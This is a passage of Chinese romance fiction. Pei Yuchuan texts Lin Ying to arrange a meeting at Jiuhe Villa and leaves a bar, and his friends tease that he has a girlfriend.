林莺没有立即回复他，裴予川关了手机，却发现梁和煦略带笑意地盯着他：“予川，你和谁发信息呢，你看你的嘴角都扬上去了。” 裴予川蹙了下眉，旋即察觉到自己表情不对，下秒恢复：“你看错了。” 手机又震了下。 林莺：[好的，那待会四点半可以吗？地点在哪？] 裴总：[你住哪？] 林莺：[明呈公寓。] 裴总：[好，你来九和山庄。] 林莺：[好的，待会儿。] 关了手机，裴予川从吧台上下来，准备回九和山庄。 “予川，你要走啊？”梁和煦看了眼时间，还早呢，怎么走那么快？ 裴予川去沙发拿了外套，冲几人道：“你们继续，消费从我账上划。” 梁和煦总觉得裴予川有事，但现在外人在，他也不好多问，直到裴予川出了包厢，宁斌凑过来：“嘶，我是不是看错了，裴哥刚刚在笑？” “你没看错，我刚还看到他和别人边聊天边笑。”梁和煦轻哼。 宁斌乐了：“裴哥这是有情况？” 梁和煦点头，手撑在下巴上认真分析，最后得出一个结论。 “说不准，这会儿可能就是去找女朋友了。”